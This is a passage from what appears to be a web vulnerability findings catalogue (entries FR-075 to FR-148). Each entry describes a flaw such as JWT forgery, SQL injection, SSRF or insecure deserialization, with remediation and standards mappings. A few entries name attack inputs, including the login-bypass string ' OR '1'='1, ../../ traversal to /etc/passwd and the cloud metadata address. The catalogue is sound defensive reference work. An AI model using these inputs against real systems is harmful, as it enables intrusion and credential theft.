Remediation: Enforce algorithm validation server-side. Use separate code paths for asymmetric (RS256) and symmetric (HS256) verification. Never use the public key as an HMAC secret.
OWASP Web: A02:2025
CRITICAL FR-075 — JWT Weak HMAC Secret
Description: The JWT HMAC signing secret is weak or uses a common/guessable value. An attacker can brute-force the secret offline and forge arbitrary JWT tokens.
Remediation: Use a cryptographically random secret of at least 256 bits for HMAC-signed JWTs. Store the secret securely and rotate it periodically.
OWASP Web: A02:2025
CRITICAL FR-076 — JWT Signature Not Verified
Description: The server accepts JWTs with an invalid or tampered signature. The server is processing the JWT payload without verifying its integrity, allowing full token forgery.
Remediation: Ensure the JWT verification library is correctly configured to always verify the signature. Never decode without verification.
OWASP Web: A02:2025
MEDIUM FR-077 — JWT Sensitive Data in Payload
Description: Sensitive data (e.g., passwords, PII, internal IDs) was found in the JWT payload. JWT payloads are base64-encoded but not encrypted, making them readable to any party with the token.
Remediation: Remove sensitive data from JWT payloads. Use JWE (JSON Web Encryption) if sensitive data must be embedded in tokens.
OWASP Web: A02:2025
HIGH FR-078 — JWT Token Accepted After Expiry
Description: The server accepts JWT tokens after their 'exp' (expiration) claim has passed. This allows indefinite reuse of stolen or leaked tokens.
Remediation: Enforce 'exp' claim validation in JWT processing. Reject tokens with past expiration times. Use short token lifetimes with refresh token rotation.
OWASP Web: A07:2025
CRITICAL FR-079 — JWT kid Header Injection
Description: The JWT 'kid' (Key ID) header parameter is used in an unsafe SQL query or file path lookup without validation. An attacker can inject a SQL payload or path traversal sequence into the kid header to manipulate key selection.
Remediation: Validate and sanitize the 'kid' header value. Use a whitelist of known key IDs. Never use the kid value directly in SQL queries or file system lookups.
OWASP Web: A02:2025
CRITICAL FR-080 — JWT jwk Header Injection
Description: The server trusts the 'jwk' (JSON Web Key) header embedded in the JWT itself for signature verification. An attacker can embed their own public key in the jwk header and sign a forged token with the corresponding private key.
Remediation: Never trust keys embedded in the JWT header. Use only server-side trusted key stores for JWT verification. Ignore or reject tokens with 'jwk' or 'jku' headers unless explicitly required.
OWASP Web: A02:2025
CRITICAL FR-081 — SQL Injection
Description: SQL injection was detected. User-supplied input is incorporated into SQL queries without proper parameterization or escaping. An attacker can manipulate database queries to extract, modify, or delete data, bypass authentication, or execute operating system commands.
Remediation: Use parameterized queries or prepared statements for all database interactions. Never concatenate user input into SQL strings. Apply the principle of least privilege to database accounts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-082 — Blind SQL Injection (Boolean-Based)
Description: Boolean-based blind SQL injection was detected. The application does not return error messages, but its behavior changes based on the truth value of injected conditions, allowing data extraction through binary search.
Remediation: Use parameterized queries or prepared statements. Implement a WAF. Review all database query construction code for unsanitized input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-083 — Blind SQL Injection (Time-Based)
Description: Time-based blind SQL injection was detected. The server introduces measurable response delays when injected time-delay SQL functions (e.g., SLEEP, WAITFOR DELAY) are executed, confirming SQL injection without visible output.
Remediation: Use parameterized queries or prepared statements. Implement query timeouts and anomaly detection. Review all database interaction code.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-084 — NoSQL Injection
Description: NoSQL injection was detected against a MongoDB, Elasticsearch, or similar NoSQL database. Unsanitized user input is used to construct NoSQL query objects, allowing query manipulation, authentication bypass, and data extraction.
Remediation: Validate and sanitize all user input before using it in NoSQL queries. Use typed query builders and avoid accepting raw operator objects (e.g., $where, $gt) from user input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL FR-085 — Command Injection (OS Command Injection)
Description: Operating system command injection was detected. User-supplied input is passed to a system shell command without sanitization. An attacker can execute arbitrary OS commands with the privileges of the web server process.
Remediation: Avoid calling OS commands from web applications. If unavoidable, use a whitelist of allowed commands and never pass user input directly to shell functions. Use language-native APIs instead of shell commands.
OWASP Web: A03:2025
CRITICAL FR-086 — Server-Side Template Injection (SSTI)
Description: Server-Side Template Injection was detected. User input is embedded directly into a server-side template (Jinja2, Freemarker, Twig, Velocity, Pebble, etc.) and executed. This can lead to remote code execution on the server.
Remediation: Never render user-controlled data as template code. Escape all user input before inserting into templates. Use sandboxed template environments.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
HIGH FR-087 — Cross-Site Scripting (XSS) — Reflected
Description: Reflected Cross-Site Scripting was detected. User-supplied input is returned in the HTTP response without proper encoding, allowing an attacker to inject client-side scripts that execute in the victim's browser.
Remediation: Encode all user-supplied data before rendering it in HTML context. Implement a strict Content-Security-Policy. Use a template engine with auto-escaping enabled.
OWASP Web: A03:2025
HIGH FR-088 — Cross-Site Scripting (XSS) — Stored
Description: Stored Cross-Site Scripting was detected. Malicious scripts submitted by an attacker are persisted in the application's data store and executed in the browser of every user who views the affected content.
Remediation: Encode all stored user data before rendering. Validate and sanitize input on write. Implement CSP with nonce-based script policy.
OWASP Web: A03:2025
HIGH FR-089 — Cross-Site Scripting (XSS) — DOM-Based
Description: DOM-based Cross-Site Scripting was detected. Client-side JavaScript reads attacker-controlled data (e.g., from URL fragments, postMessage, or localStorage) and writes it to a dangerous sink (innerHTML, eval, document.write) without sanitization.
Remediation: Review all client-side JavaScript for unsafe DOM manipulation. Use textContent instead of innerHTML. Validate and encode data before passing to DOM sinks.
OWASP Web: A03:2025
HIGH FR-090 — LDAP Injection
Description: LDAP injection was detected. User input is incorporated into LDAP query filters without proper escaping. An attacker can manipulate LDAP queries to bypass authentication or extract directory entries.
Remediation: Use an LDAP library that supports parameterized queries. Escape all special LDAP characters (\, *, (, ), NUL) in user-supplied input before using it in filters.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-091 — XPath Injection
Description: XPath injection was detected. User input is embedded in XPath query expressions without sanitization. An attacker can manipulate queries to extract unauthorized XML data or bypass authentication.
Remediation: Use parameterized XPath queries. Escape all user-supplied data used in XPath expressions. Validate input against a strict whitelist.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2025
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL FR-092 — XML External Entity (XXE) Injection
Description: XML External Entity (XXE) injection was detected. The XML parser processes externally supplied entity references, allowing an attacker to read local files, perform SSRF, or cause denial of service.
Remediation: Disable external entity processing in the XML parser configuration. Use safe XML parsing libraries. If XML must be accepted, validate and strip external entities before parsing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
MEDIUM FR-093 — HTTP Parameter Pollution
Description: HTTP Parameter Pollution (HPP) was detected. Supplying duplicate parameters causes inconsistent behavior in the application, potentially bypassing input validation, WAF rules, or access controls.
Remediation: Normalize HTTP parameter handling. Define explicit behavior for duplicate parameters. Validate parameters server-side after normalization.
OWASP Web: A03:2025
HIGH FR-094 — Information Disclosure: Javascript Secret
Description: Sensitive secrets (API keys, credentials, tokens, private keys) were found hardcoded in client-side JavaScript files. These secrets are visible to anyone who views the page source.
Remediation: Remove all hardcoded secrets from client-side JavaScript. Move sensitive keys to server-side configuration. Rotate any exposed secrets immediately. Implement secret scanning in the CI/CD pipeline.
OWASP Web: A02:2025
LOW FR-095 — Information Disclosure: Internal IP in JavaScript
Description: Internal IP addresses or hostnames were found referenced in client-side JavaScript. This reveals internal network topology and may aid in SSRF attacks.
Remediation: Remove internal IP addresses from client-side code. Use relative URLs or environment-specific configuration injection to avoid hardcoded internal references.
OWASP Web: A05:2025
MEDIUM FR-096 — Hidden Form Fields Disclose Sensitive Data
Description: Hidden HTML form fields contain sensitive data such as user IDs, prices, roles, or tokens that are not intended to be modified by the client but are submitted without server-side validation.
Remediation: Validate all form fields server-side regardless of whether they are hidden. Never rely on hidden fields for security-relevant data. Use server-side session state instead.
OWASP Web: A01:2025
MEDIUM FR-097 — Client-Side Redirect via open() or location
Description: JavaScript code uses window.location, window.open, or similar to redirect users based on URL parameters without validation. This may enable open redirect or DOM-based XSS attacks.
Remediation: Validate redirect destinations against a server-side whitelist. Avoid using unsanitized URL parameters in client-side redirects.
OWASP Web: A01:2025
LOW FR-098 — HTML Comment Discloses Sensitive Information
Description: HTML comments in the page source reveal sensitive information such as developer notes, TODO items, internal system names, credentials, or debug information.
Remediation: Remove all sensitive comments from HTML templates and responses before deployment. Implement a pre-deployment review process to catch information leakage.
OWASP Web: A05:2025
HIGH FR-099 — Path Traversal / Local File Inclusion
Description: Path traversal (directory traversal) was detected. An attacker can use sequences like ../../ in user-supplied file path parameters to read files outside the intended directory, such as /etc/passwd, application configuration, or source code.
Remediation: Validate all file path inputs against a strict whitelist. Use canonical path resolution and verify the resolved path starts with the allowed base directory. Avoid user-controlled file paths entirely where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL FR-100 — Remote File Inclusion
Description: Remote File Inclusion (RFI) was detected. The application includes or requires files using a URL parameter that can be set to a remote URL, allowing an attacker to inject and execute remote PHP or server-side code.
Remediation: Disable allow_url_include in PHP configuration. Never pass user input to include(), require(), or equivalent file inclusion functions. Use a whitelist of allowed includes.
OWASP Web: A03:2025
CRITICAL FR-101 — Server-Side Request Forgery (SSRF)
Description: Server-Side Request Forgery (SSRF) was detected. The application fetches remote resources at a URL controlled by the attacker. This can be used to access internal services, cloud metadata endpoints (169.254.169.254), or exfiltrate data from internal networks.
Remediation: Validate and whitelist all URLs that the server is allowed to fetch. Block requests to private IP ranges, loopback addresses, and cloud metadata endpoints. Implement egress filtering at the network level.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A10:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1190 (Initial Access), T1552.005 (Credential Access)
NIST 800-53: SI-10, SC-7
PCI DSS 4: 6.2.4
CRITICAL FR-102 — SSRF via Cloud Metadata Endpoint Access
Description: SSRF was exploited to access the cloud provider's instance metadata service (AWS 169.254.169.254, GCP metadata.google.internal, Azure metadata endpoint). This can expose IAM credentials, instance configuration, and other sensitive metadata.
Remediation: Block access to 169.254.169.254 and all cloud metadata endpoints at the network level. Use IMDSv2 on AWS (which requires session tokens). Implement SSRF mitigation with URL allowlisting.
OWASP Web: A10:2025
HIGH FR-103 — SSRF via Internal Network Access
Description: SSRF was exploited to access internal network services (RFC 1918 address ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). The attacker can probe and interact with services not directly accessible from the internet.
Remediation: Implement a URL allowlist that explicitly blocks private IP ranges. Use network segmentation to prevent the web tier from accessing internal services unnecessarily.
OWASP Web: A10:2025
CRITICAL FR-104 — Broken Authentication — Default Credentials
Description: The application or an integrated component (CMS, framework, admin panel) uses default or well-known credentials (admin/admin, admin/password, etc.) that have not been changed.
Remediation: Change all default credentials immediately. Implement a policy requiring strong, unique credentials for all accounts. Enforce password complexity requirements.
OWASP Web: A07:2025
CRITICAL FR-105 — Authentication Bypass via SQL Injection
Description: The login form is vulnerable to SQL injection, allowing authentication bypass without valid credentials. Payloads such as ' OR '1'='1 successfully authenticate as arbitrary users.
Remediation: Use parameterized queries for all authentication-related SQL. Implement input validation on login forms. Review all authentication logic for injection vulnerabilities.
OWASP Web: A07:2025
CRITICAL FR-106 — Authentication Bypass via Response Manipulation
Description: Authentication can be bypassed by manipulating server responses (e.g., changing 'false' to 'true' in JSON responses, modifying HTTP status codes). The application relies on client-supplied success/failure signals instead of server-side session management.
Remediation: Implement server-side session management. Never rely on client-side responses to make authentication decisions. Validate authentication state server-side on every request.
OWASP Web: A07:2025
HIGH FR-107 — Authentication Bypass via Direct URL Access
Description: Authenticated pages or resources are accessible by directly navigating to their URLs without an active session. Authentication enforcement is missing on the server side for certain endpoints.
Remediation: Enforce authentication middleware on all routes that require authentication. Implement a centralized authentication check that applies to every request.
OWASP Web: A01:2025
HIGH FR-108 — Password Reset Token Weak or Predictable
Description: Password reset tokens are short, sequential, or based on predictable data (timestamp, username hash, MD5). An attacker can enumerate or brute-force valid reset tokens to take over accounts.
Remediation: Generate password reset tokens using a cryptographically secure random number generator with at least 128 bits of entropy. Enforce token expiration and single-use consumption.
OWASP Web: A07:2025
CRITICAL FR-109 — Sensitive File Exposed — /etc/passwd
Description: The /etc/passwd file is accessible via path traversal or misconfiguration. This file contains system user account information and can aid privilege escalation and targeted attacks.
Remediation: Fix the path traversal or misconfiguration that exposes this file. Restrict filesystem permissions and ensure the web server process cannot read sensitive system files.
OWASP Web: A01:2025
CRITICAL FR-110 — Information Disclosure: .env File
Description: The .env environment configuration file is publicly accessible. This file typically contains database credentials, API keys, secret keys, and other application secrets.
Remediation: Immediately move .env files outside the web root. Block access to .env files via web server configuration. Rotate all exposed credentials.
OWASP Web: A05:2025
CRITICAL FR-111 — Sensitive File Exposed — Private Key
Description: A private cryptographic key file (.pem, .key, .p12, .pfx) was found accessible on the web server. Exposure of private keys compromises the entire PKI trust chain and enables impersonation.
Remediation: Remove all private key files from the web root immediately. Revoke and reissue the associated certificates. Store private keys outside the web root with strict filesystem permissions.
OWASP Web: A02:2025
MEDIUM FR-112 — Sensitive File Exposed — phpinfo()
Description: A phpinfo() page is publicly accessible. This page reveals PHP version, loaded modules, configuration settings, environment variables, file system paths, and potentially sensitive server configuration.
Remediation: Remove all phpinfo() calls from production code. Block access to any phpinfo scripts via web server configuration.
OWASP Web: A05:2025
LOW FR-113 — Sensitive File Exposed — Composer/NPM Metadata
Description: Package metadata files (composer.json, package.json, package-lock.json, composer.lock) are publicly accessible. These reveal application dependencies and versions, aiding in CVE identification.
Remediation: Block access to package metadata files via web server configuration. Move these files outside the web root or deny access to them.
OWASP Web: A05:2025
HIGH FR-114 — Vulnerability Scanner Finding — Known CVE
Description: A vulnerability scanner (Nuclei) identified a known CVE in a component used by the application. The component version matches a published vulnerability with a known proof-of-concept or exploit.
Remediation: Update the vulnerable component to the patched version. Apply vendor security patches. Implement a patch management process with regular CVE monitoring.
OWASP Web: A06:2025
HIGH FR-115 — Vulnerability Scanner Finding — Exposed Panel
Description: A Nuclei scan identified an exposed administrative or monitoring panel (e.g., Grafana, Kibana, Consul, Prometheus, Jenkins) without authentication or with default credentials.
Remediation: Restrict access to all administrative panels by IP whitelist or VPN. Enforce authentication and disable default credentials. Move panels off public-facing infrastructure.
OWASP Web: A05:2025
MEDIUM FR-116 — Vulnerability Scanner Finding — Misconfiguration
Description: A Nuclei scan identified a security misconfiguration in the application or server. Common examples include debug endpoints enabled, HTTP methods unrestricted, or CORS policies allowing arbitrary origins.
Remediation: Review and remediate the specific misconfiguration identified. Implement a security hardening baseline and apply it consistently across all servers.
OWASP Web: A05:2025
MEDIUM FR-117 — GraphQL Introspection Enabled
Description: GraphQL introspection is enabled in the production environment. Introspection allows any client to retrieve the full schema including all types, queries, mutations, and field definitions, providing a complete attack surface map.
Remediation: Disable GraphQL introspection in production environments. If introspection is required, restrict it to authenticated and authorized users.
OWASP Web: A05:2025
HIGH FR-118 — GraphQL Batch Query Attack
Description: The GraphQL endpoint accepts batched queries, allowing multiple queries to be sent in a single HTTP request. This can be abused to bypass rate limiting and perform brute-force or enumeration attacks at scale.
Remediation: Implement query batching limits. Enforce per-query rate limiting that accounts for batched requests. Consider disabling batch query support if not required.
OWASP Web: A04:2025
HIGH FR-119 — GraphQL Deeply Nested Query (DoS)
Description: The GraphQL endpoint does not enforce query depth limits. An attacker can craft deeply nested queries that cause exponential resource consumption, leading to denial of service.
Remediation: Implement query depth limiting (e.g., max depth of 5-10 levels). Add query complexity analysis and reject queries above a complexity threshold.
OWASP Web: A04:2025
LOW FR-120 — GraphQL Field Suggestion Enabled
Description: The GraphQL server returns 'Did you mean X?' suggestions when querying non-existent fields. This allows schema enumeration even when introspection is disabled.
Remediation: Disable field suggestions in the GraphQL server configuration. In Apollo Server, set the 'debug' option to false.
OWASP Web: A05:2025
MEDIUM FR-121 — Insufficient Logging and Monitoring
Description: The application fails to generate adequate log entries for security-relevant events such as failed logins, access control failures, or input validation errors. Without sufficient logging, attacks may go undetected.
Remediation: Implement comprehensive security logging for all authentication events, access control failures, and input validation errors. Forward logs to a centralized SIEM. Set up alerts for anomalous patterns.
OWASP Web: A09:2025
MEDIUM FR-122 — Verbose Error Messages Logged to Client
Description: The application returns verbose error messages including stack traces, file paths, or internal state to the client. This information aids attackers in understanding the application's internals.
Remediation: Configure custom error pages in production. Log detailed errors server-side only. Never expose stack traces, framework-specific error messages, or internal paths to users.
OWASP Web: A09:2025
HIGH FR-123 — No Account Lockout Mechanism
Description: The login endpoint does not implement account lockout or rate limiting after repeated failed authentication attempts. An attacker can conduct unlimited brute-force or credential stuffing attacks.
Remediation: Implement account lockout (temporary lock after N failed attempts) or progressive delays. Add CAPTCHA after a threshold of failures. Monitor for credential stuffing patterns.
OWASP Web: A07:2025
MEDIUM FR-124 — Username Enumeration via Login Response
Description: The login form returns different error messages for invalid usernames versus invalid passwords ('User not found' vs 'Incorrect password'). This allows enumeration of valid usernames.
Remediation: Return a generic error message ('Invalid username or password') regardless of whether the username or password is incorrect. Apply consistent response timing to prevent timing-based enumeration.
OWASP Web: A07:2025
MEDIUM FR-125 — Username Enumeration via Password Reset
Description: The password reset form reveals whether a submitted email or username exists in the system through different response messages or behaviors. This enables username/email enumeration.
Remediation: Always return the same response message for both registered and unregistered users ('If an account exists, a reset email has been sent'). Avoid timing differences that could leak account existence.
OWASP Web: A07:2025
MEDIUM FR-126 — Username Enumeration via Registration
Description: The user registration form discloses whether a username or email is already registered, enabling enumeration of valid accounts.
Remediation: Implement email-based registration confirmation to avoid exposing account existence. Use consistent responses that do not distinguish between registered and unregistered identifiers.
OWASP Web: A07:2025
MEDIUM FR-127 — Weak Password Policy
Description: The application accepts passwords that are too short or lack complexity requirements. Weak passwords are trivially compromised through brute-force or dictionary attacks.
Remediation: Enforce a minimum password length of 12 characters. Check passwords against known breached password lists (e.g., HaveIBeenPwned API). Consider implementing NIST SP 800-63B password guidance.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
MEDIUM FR-128 — Multi-Factor Authentication Not Enforced
Description: Multi-factor authentication (MFA) is not available or not enforced for privileged accounts. Single-factor authentication is vulnerable to credential theft, phishing, and brute-force attacks.
Remediation: Implement and enforce MFA for all user accounts, especially administrative and privileged accounts. Use TOTP, hardware tokens, or push-based MFA.
OWASP Web: A07:2025
HIGH FR-129 — Insecure Direct Object Reference (IDOR)
Description: Insecure Direct Object Reference (IDOR) was detected. Direct references to internal objects (user IDs, record IDs, file names) are exposed in URLs or parameters without authorization checks, allowing access to other users' data by modifying the reference.
Remediation: Implement server-side authorization checks on every object access. Use indirect references (GUIDs, hashed IDs) instead of sequential integer IDs. Validate object ownership on every request.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 6.2.4, 7.2.1
HIGH FR-130 — Horizontal Privilege Escalation
Description: Horizontal privilege escalation was detected. An authenticated user can access or modify another user's resources by manipulating user-specific identifiers in requests, without authorization validation.
Remediation: Enforce server-side ownership checks for all user-specific resources. Validate that the requesting user owns or has explicit permission to access the target resource.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
CRITICAL FR-131 — Vertical Privilege Escalation
Description: Vertical privilege escalation was detected. A lower-privileged user can access administrative functionality or higher-privileged resources by directly accessing restricted endpoints or modifying role/permission parameters.
Remediation: Implement role-based access control (RBAC) enforced server-side. Never rely on client-supplied role or privilege parameters. Centralize authorization logic and apply it to every request.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1068 (Privilege Escalation)
NIST 800-53: AC-6, AC-3
PCI DSS 4: 7.2.1
HIGH FR-132 — Missing Function-Level Access Control
Description: Application functions (APIs, admin actions) are protected only by hiding them from the UI but lack server-side access control enforcement. An attacker who discovers the endpoint URL can invoke restricted functionality.
Remediation: Implement server-side access control checks on every sensitive function endpoint. Security by obscurity (hiding URLs) is not a substitute for proper access control.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078 (Privilege Escalation), T1068 (Privilege Escalation)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH FR-133 — Session Fixation
Description: Session fixation was detected. The application does not generate a new session ID after successful authentication. An attacker who can set a victim's session ID can hijack the session after the victim authenticates.
Remediation: Generate a new session ID upon successful authentication. Invalidate pre-authentication session IDs. Never accept session IDs provided in URLs.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1563 (Lateral Movement), T1550.004 (Defense Evasion)
NIST 800-53: AC-12, IA-5
PCI DSS 4: 8.3.6
HIGH FR-134 — Session Token in URL
Description: Session tokens are transmitted in URL query parameters. Session tokens in URLs are exposed in browser history, referrer headers, server logs, and proxy logs, significantly increasing the risk of session hijacking.
Remediation: Transmit session tokens only via HttpOnly, Secure cookies. Never include session tokens in URLs or query parameters.
OWASP Web: A07:2025
MEDIUM FR-135 — Long-Lived Session Without Expiration
Description: Session tokens remain valid indefinitely or for excessively long periods. Long-lived sessions increase the window of opportunity for session hijacking after token theft.
Remediation: Implement server-side session expiration. Set absolute session timeouts (e.g., 8 hours) and idle timeouts (e.g., 30 minutes). Require re-authentication for sensitive actions.
OWASP Web: A07:2025
HIGH FR-136 — Session Not Invalidated on Logout
Description: Session tokens remain valid on the server after the user logs out. An attacker who captures a session token before logout can reuse it indefinitely.
Remediation: Invalidate session tokens server-side upon logout. Ensure the session store removes or expires the session record. Do not rely solely on clearing the client-side cookie.
OWASP Web: A07:2025
HIGH FR-137 — Cross-Site Request Forgery (CSRF)
Description: Cross-Site Request Forgery (CSRF) was detected. State-changing requests lack CSRF tokens or other anti-CSRF mechanisms. An attacker can craft a malicious page that triggers state-changing actions in the victim's authenticated session.
Remediation: Implement CSRF tokens (synchronizer token pattern or double-submit cookie). Use SameSite=Strict or SameSite=Lax cookies. Validate the Origin/Referer header for state-changing requests.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
OWASP Web: A01:2025
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4
HIGH FR-138 — CSRF Token Not Validated Server-Side
Description: The application includes CSRF tokens in forms but does not validate them server-side, or accepts any non-empty value as valid. The CSRF protection mechanism is present but ineffective.
Remediation: Validate CSRF tokens server-side on every state-changing request. Reject requests with missing, empty, or invalid CSRF tokens. Ensure tokens are unpredictable and bound to the user session.
OWASP Web: A01:2025
HIGH FR-139 — Cross-User Data Leakage
Description: Data belonging to one user is visible to another user due to insufficient isolation in shared resources, caches, or multi-tenant data stores. This is a class of broken access control.
Remediation: Implement strict data isolation per user/tenant. Audit all data access paths for ownership validation. Review caching configurations to prevent cross-user cache poisoning.
OWASP Web: A01:2025
MEDIUM FR-140 — Open Redirect
Description: An open redirect vulnerability was detected. The application redirects users to a URL specified in a request parameter without validation. Attackers can craft URLs that redirect victims to malicious sites, facilitating phishing.
Remediation: Validate redirect destinations against a strict whitelist of allowed URLs or origins. Avoid user-controlled redirect targets entirely. Use relative redirects where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2025
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL FR-141 — Insecure Deserialization
Description: Insecure deserialization was detected. The application deserializes user-supplied data (via pickle, Java ObjectInputStream, PHP unserialize, YAML.load, etc.) without integrity verification. This can lead to remote code execution, authentication bypass, or denial of service.
Remediation: Do not deserialize data from untrusted sources. Sign serialized objects with an HMAC and verify the signature before deserialization. Use safe serialization formats (JSON) instead of language-native object serialization.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2025
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL FR-142 — Java Deserialization via Gadget Chains
Description: Java object deserialization was identified with known gadget chain exploitability. Exploitation of known gadget chains (Commons Collections, Spring, etc.) via ysoserial payloads can result in remote code execution.
Remediation: Upgrade all Java serialization libraries to patched versions. Implement a serialization filter (JEP 290). Use Contrast Security or similar RASP to detect deserialization attacks at runtime.
OWASP Web: A08:2025
CRITICAL FR-143 — PHP Object Injection via unserialize()
Description: PHP's unserialize() function is called on user-controlled input. If the application's autoloaded classes contain exploitable magic methods (__wakeup, __destruct, __toString), this can lead to arbitrary code execution via POP chains.
Remediation: Never call unserialize() on user-supplied input. Replace with JSON or other data formats. If unavoidable, use allowed_classes parameter to restrict which classes can be instantiated.
OWASP Web: A08:2025
CRITICAL FR-144 — Unrestricted File Upload — Executable File
Description: The file upload functionality allows uploading of executable files (PHP, JSP, ASP, Python, etc.) without restriction. An attacker can upload a web shell and execute arbitrary commands on the server.
Remediation: Implement a strict file extension whitelist for uploads. Validate file content using magic bytes, not just extension. Store uploaded files outside the web root. Rename all uploaded files to remove their original extension.
OWASP Web: A04:2025
HIGH FR-145 — Unrestricted File Upload — MIME Type Bypass
Description: The file upload validation relies solely on the Content-Type header or file extension, which can be manipulated by an attacker. Malicious file content can be uploaded while disguising it as a permitted MIME type.
Remediation: Validate files using server-side magic byte analysis (file signature), not MIME type headers or extensions supplied by the client. Use a library such as python-magic or libmagic.
OWASP Web: A04:2025
HIGH FR-146 — File Upload — Path Traversal in Filename
Description: The file upload functionality uses the client-supplied filename in the server-side file path without sanitization. An attacker can supply a filename with path traversal sequences to write files to arbitrary server locations.
Remediation: Never use client-supplied filenames for server-side storage. Generate a random server-side filename for every uploaded file. Strip all path components from the original filename.
OWASP Web: A04:2025
HIGH FR-147 — Mass Assignment Vulnerability
Description: Mass assignment (also known as auto-binding) was detected. The application binds HTTP request parameters directly to internal model attributes without filtering. An attacker can set privileged attributes (isAdmin, role, balance) by adding them to the request body.
Remediation: Implement an explicit allowlist of fields that can be mass-assigned from user input. Use Data Transfer Objects (DTOs) or explicit field binding rather than mapping all request parameters to model attributes.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2025
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CRITICAL FR-148 — Mass Assignment — Privilege Escalation via Role Field
